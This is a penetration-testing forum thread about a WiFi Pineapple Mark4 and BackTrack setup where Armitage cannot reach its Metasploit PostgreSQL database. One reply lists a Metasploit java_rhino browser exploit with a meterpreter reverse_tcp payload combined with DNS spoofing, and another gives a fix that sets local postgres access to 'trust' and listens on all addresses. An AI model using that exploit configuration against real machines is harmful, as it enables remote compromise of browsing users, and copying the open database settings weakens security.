Cassiopeia Posted September 16, 2012 Share Posted September 16, 2012 so my setup is a pineapple mark4 running 2.5.0, an alfa network card, and my laptop running bt5r3. i use the wp4.sh script for ICS between my wifi connection (192.168.1.1) and the standard pineapple ip. now when i try to start armitage, i get the normal connect to database screen, connect yes to start msf rpc and it starts loading armitage, now halfway there, i get a messagebox "Could not connect to database click help button (firstly no help button is avalible which is quite amusing :P) FATAL:: no pg_hba.conf entry for host "172.16.42.42", user "msf3", database "msf3dev", SSL off" and it terminates armitage, now anyone have a clue of whats obviously wrong? //Regards Quote Link to comment Share on other sites More sharing options...
mreidiv Posted September 16, 2012 Share Posted September 16, 2012 This might be what you are looking for. Quote Link to comment Share on other sites More sharing options...
sithstalker Posted January 5, 2013 Share Posted January 5, 2013 I was able to get armitage working in windows 7 using the pineapple mark4. i log into armitage using 127.0.0.1 port 55553 user msf pass test. Then change your dns to spoof 172.16.42.42 * on your pineapple. To hack my own laptop I use java_rhino attack multi/browser/java_rhino DisablePayloadHandler blank ExitOnSession blank LHOST 172.16.42.42 LPORT 20990 (or just leave whats already there) PAYLOAD java/meterpreter/reverse_tcp SRVHOST 172.16.42.42 SRVPORT 80 ssl 0 sslcert ' sslversion ssl3 URIPATH / LAUNCH if anyone knows a better way of doing this, please let me know --- this is just what worked for me Quote Link to comment Share on other sites More sharing options...
combatente20 Posted July 28, 2014 Share Posted July 28, 2014 The solution is: Edit this files : 1 sudo vim /etc/postgresql/9.1/main/postgresql.conf Line 59: 1 listen_addresses = '*' # what IP address(es) to listen on; 1 sudo vim /etc/postgresql/9.1/main/pg_hba.conf In this example, I will access remote postgresql from IP 162.36.222.98. 1 2 3 4 5 6 7 8 9 10 11 12 # DO NOT DISABLE! # If you change this first entry you will need to make sure that the # database superuser can access the database using some other method. # Noninteractive access to all databases is required during automatic # maintenance (custom daily cronjobs, replication, and similar tasks). # # Database administrative login by Unix domain socket #local all postgres peer local all postgres trust .... host all all 162.36.222.0/24 md5 .... Restart postgresql services by : 1 sudo service postgresql restart Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.